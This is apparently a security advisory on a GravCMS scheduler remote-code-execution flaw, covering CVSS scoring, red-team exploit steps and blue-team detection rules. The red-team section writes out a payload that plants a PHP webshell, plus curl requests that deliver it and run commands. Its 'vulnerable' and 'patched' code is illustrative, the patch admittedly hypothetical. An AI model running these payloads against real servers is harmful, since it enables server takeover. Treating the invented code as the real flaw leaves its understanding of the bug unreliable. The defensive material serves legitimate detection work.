CVE-2021-47812

Executive Summary

CVE-2021-47812 is a critical unauthenticated vulnerability in GravCMS version 1.10.7 that allows remote attackers to write arbitrary YAML configuration and execute PHP code through the scheduler endpoint. The vulnerability is exploited by manipulating the admin-nonce parameter to inject base64-encoded payloads, enabling the creation of malicious custom jobs with system command execution. This flaw poses a severe risk to confidentiality, integrity, and availability, as it requires no authentication and can be exploited remotely over the network. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the technical impact is high.

Supply Chain & Package Security

GravCMS is a PHP-based content management system distributed via GitHub and Composer. The vulnerability affects the core scheduler component, not third-party plugins. No official patch has been released, and the vendor status is marked as UNKNOWN/UNPATCHED. Users should monitor the official GravCMS repository for updates and consider implementing virtual patching or WAF rules.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The threat level is critical due to the unauthenticated remote code execution capability. An attacker can fully compromise the server, execute arbitrary commands, and pivot to internal networks.

Deep Dive & Mechanics

The vulnerability resides in the scheduler endpoint of GravCMS 1.10.7. The scheduler allows administrators to create and manage cron jobs. However, due to improper input validation, an unauthenticated attacker can craft a request to the scheduler endpoint with a malicious admin-nonce parameter.

The admin-nonce parameter is base64-encoded and contains YAML configuration data. When processed, the application decodes this parameter and writes the YAML content to a configuration file. By injecting PHP code into the YAML (e.g., using eval() or system() calls), the attacker can achieve remote code execution.

The attack flow:

1. Attacker sends a POST request to /admin/scheduler with a crafted admin-nonce parameter.
2. The parameter contains base64-encoded YAML that defines a new job with a command payload.
3. The application decodes and writes the YAML to the scheduler configuration file.
4. The malicious job is executed, running the attacker's command.

Vulnerable vs. Patched Code

Vulnerable Code (GravCMS 1.10.7):

// In scheduler controller
public function saveJob($nonce) {
    $data = base64_decode($nonce);
    $yaml = Yaml::parse($data);
    // No validation of $yaml content
    file_put_contents('user/config/scheduler.yaml', $data);
}

Patched Code (Hypothetical):

public function saveJob($nonce) {
    // Validate nonce format and authenticity
    if (!validateNonce($nonce)) {
        throw new Exception('Invalid nonce');
    }
    $data = base64_decode($nonce);
    $yaml = Yaml::parse($data);
    // Sanitize YAML to prevent code injection
    $sanitized = sanitizeYaml($yaml);
    file_put_contents('user/config/scheduler.yaml', $sanitized);
}

The vulnerable code lacks nonce validation and YAML sanitization, allowing arbitrary YAML injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running GravCMS 1.10.7
• Network access to the admin endpoint

Exploit Steps:

1. Craft a base64-encoded YAML payload that defines a malicious job:

jobs:
  malicious_job:
    command: "echo '<?php system($_GET[\"cmd\"]); ?>' > /var/www/html/shell.php"
    schedule: "* * * * *"

2. Base64 encode the YAML:

echo -n 'jobs:\n  malicious_job:\n    command: "echo \'<?php system($_GET[\"cmd\"]); ?>\' > /var/www/html/shell.php"\n    schedule: "* * * * *"' | base64

3. Send the exploit request:

curl -X POST http://target.com/admin/scheduler \
  -d "admin-nonce=<base64_encoded_payload>"

4. Wait for the cron job to execute, then access the webshell:

curl http://target.com/shell.php?cmd=id

Blue Team

Detection:

• Monitor for POST requests to /admin/scheduler with unusual admin-nonce parameters.
• Look for base64-encoded strings in HTTP requests that decode to YAML with command or schedule keys.
• Alert on creation of new files in the web root (e.g., shell.php).

Hunting:

• Search logs for admin-nonce parameter containing base64 strings.
• Check for unexpected cron jobs in user/config/scheduler.yaml.
• Use file integrity monitoring to detect unauthorized file modifications.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /admin/scheduler with admin-nonce parameter.
  • Base64-encoded strings in HTTP requests that decode to YAML.
• File System:
  • New files in web root (e.g., shell.php, cmd.php).
  • Modified user/config/scheduler.yaml with malicious job entries.
• Process:
  • Unexpected PHP processes executing system commands.
  • Cron jobs running with unusual commands.

Detection Engineering

YARA Rule

rule CVE_2021_47812_GravCMS_Scheduler_Injection {
    meta:
        description = "Detects GravCMS scheduler injection attempts"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2021-47812"
    strings:
        $s1 = "admin-nonce" ascii wide nocase
        $s2 = "command:" ascii wide nocase
        $s3 = "schedule:" ascii wide nocase
        $s4 = "base64" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3) or ($s1 and $s4)
}

Sigma Rule

title: GravCMS Scheduler Injection Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2021-47812 via admin-nonce parameter
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/scheduler'
        cs-uri-query|contains: 'admin-nonce'
    condition: selection
falsepositives:
    - Legitimate admin scheduler usage (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2021-47812 GravCMS Scheduler Injection"; flow:to_server,established; content:"POST"; http_method; content:"/admin/scheduler"; http_uri; content:"admin-nonce"; http_client_body; base64_decode; content:"command:"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the scheduler endpoint if not required.
2. Implement a Web Application Firewall (WAF) rule to block requests with admin-nonce parameter.
3. Restrict access to /admin/scheduler via IP whitelisting or authentication.

Long-term Fix:

• Upgrade to a patched version of GravCMS (if available).
• Apply virtual patching using mod_security or similar.
• Monitor the official GravCMS repository for security updates.

Compromise Assessment:

• Check for unauthorized files in the web root.
• Review scheduler configuration for malicious jobs.
• Scan for backdoors using YARA rules.

Valters IT